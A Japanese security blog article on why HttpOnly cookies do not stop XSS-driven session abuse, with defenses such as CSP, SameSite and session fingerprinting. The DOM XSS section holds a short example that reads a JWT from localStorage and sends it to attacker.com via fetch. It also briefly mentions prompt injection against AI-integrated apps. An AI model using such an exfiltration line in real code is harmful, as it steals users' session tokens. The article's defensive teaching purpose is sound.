【テクニカル・上級編】XSSによるセッションハイジャックとHttpOnly属性の限界 – アプリケーションセキュリティ & 安全な開発防御ガイド

HttpOnlyの神話と現実:セッションハイジャックの境界線で戦うアーキテクトへ

セキュリティエンジニアとして現場を渡り歩いていると、「HttpOnlyを設定しているからXSSは怖くない」という甘美な幻想を抱く開発者にしばしば遭遇する。結論から言えば、それは「玄関の鍵をかけたから家の中の金庫は無事だ」と信じているのと同じだ。

今日は、CookieのHttpOnly属性の限界と、それが現代のWebアーキテクチャにおいてどのような役割を果たしているのか、そして我々が守るべき「セッションの真実」について深掘りしていく。

—

1. HttpOnlyが守るもの、守れないもの

HttpOnly属性は、ブラウザのAPI(document.cookieなど)から対象のCookieへのアクセスを遮断する。これにより、悪意あるスクリプトがセッションIDを読み取り、攻撃者のサーバーへ送信する「典型的な」セッションハイジャックを阻止する。

しかし、攻撃者はセッションIDを「盗む」必要がない。「利用する」だけでいいのだ。

反射型・格納型XSSの先にある罠

HTTPレスポンスのコンテキストで実行されるXSSは、確かにHttpOnlyによってCookie盗難という目的を挫かれる。しかし、攻撃者は以下のように思考をシフトさせる。

  • セッションの悪用(Action Injection): セッションIDを盗む代わりに、被害者のブラウザを「操り人形」にする。攻撃者は被害者のセッションを利用して、管理画面での権限昇格や不正な送金、アカウント設定の変更をバックグラウンドで実行させる。ブラウザは正当なセッションを保持しているため、サーバーサイドのWAFはこれを「正規ユーザーの操作」と判定する。

—

2. DOMベースXSS:HttpOnlyが「沈黙する」場所

DOMベースXSSの恐ろしさは、サーバーサイドのログに痕跡を残さないことにある。クライアントサイドのJavaScriptが、URLフラグメントやlocalStorageから危険なデータを読み込み、eval()やinnerHTMLへと伝播させる。

ここで重要なのは、「セッションIDがどこにあるか」という物理的な位置だ。

もしセッション管理のためにJWT(JSON Web Token)をlocalStorageに保存していたらどうなるか?HttpOnlyはCookieに対するフラグであり、localStorageには無力だ。localStorageに格納されたトークンは、数行のJavaScriptで容易に流出する。

// 攻撃者の視点:localStorageに機密情報がある場合、HttpOnlyは無意味
const stolenToken = localStorage.getItem(‘session_jwt’);
fetch(‘https://attacker.com/steal?token=’ + btoa(stolenToken));
// これだけでセッションは即座に掌握される

—

3. 防御の多層化:アーキテクトが打つべき一手

HttpOnlyは最低限の衛生管理に過ぎない。我々が構築すべきは、セッションそのものに「文脈」を持たせるアーキテクチャだ。

A. セッション固定とフィンガープリントの結合

セッションIDを単なる乱数として扱うのは古い。サーバーサイドでセッションとクライアントのフィンガープリント(User-Agent、IPのサブネット、TLSハンドシェイクの特性など)を紐付け、不自然な変化があった場合に即座にセッションを無効化するロジックを組み込むべきだ。

B. Content Security Policy (CSP) の厳格な適用

XSSを防ぐ究極の防壁はCSPである。特に、信頼できないソースからのスクリプト実行を禁止し、unsafe-inlineを排除する設計は必須だ。

推奨されるCSPヘッダー例
Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com; object-src ‘none’; frame-ancestors ‘none’;
意味:インラインスクリプトを一切許容せず、信頼されたドメインのみからのみ実行を許可する

C. Cookieの属性を極限まで固める

HttpOnlyだけでなく、SameSite=StrictあるいはLaxを適切に活用し、CSRFと組み合わせた攻撃を封じる。

// セッションCookieの設定例(サーバーサイド)
res.cookie(‘session_id’, ‘xyz123’, {
httpOnly: true, // JSからのアクセス禁止
secure: true, // HTTPSのみで送信
sameSite: ‘Strict’, // クロスサイトリクエストでの送信禁止
path: ‘/’
});

—

4. 結び:AI時代の新たな脅威と「ガードレイル」

昨今、生成AIを組み込んだアプリケーションが増えているが、ここで懸念すべきは「プロンプトインジェクションによるセッション権限の乱用」だ。AIが外部APIを呼び出せる設計になっている場合、XSSを経由してAIに不正な指示を送り、ユーザーの権限でリソースを操作させる攻撃が現実味を帯びている。

我々セキュリティアーキテクトにとって、HttpOnlyは「防衛の第一歩」に過ぎない。真の守りは、データがクライアントのどこを通るのか、どのAPIが誰の権限で実行されるのかという「権限の境界線」を設計図の段階で定義し、それをコードで強制する(Policy as Code)ことにある。

脆弱性を探す攻撃者の思考は、常に我々の防壁の「隙間」を狙っている。その隙間を埋めるのは、知識の量ではなく、システムの挙動に対する冷徹なまでの疑念だ。

貴方のシステムは、本当に「正当なユーザー」の操作だけを許可しているだろうか? 再度、ログを深く掘り下げてみてほしい。そこに答えがあるはずだ。

コメント

タイトルとURLをコピーしました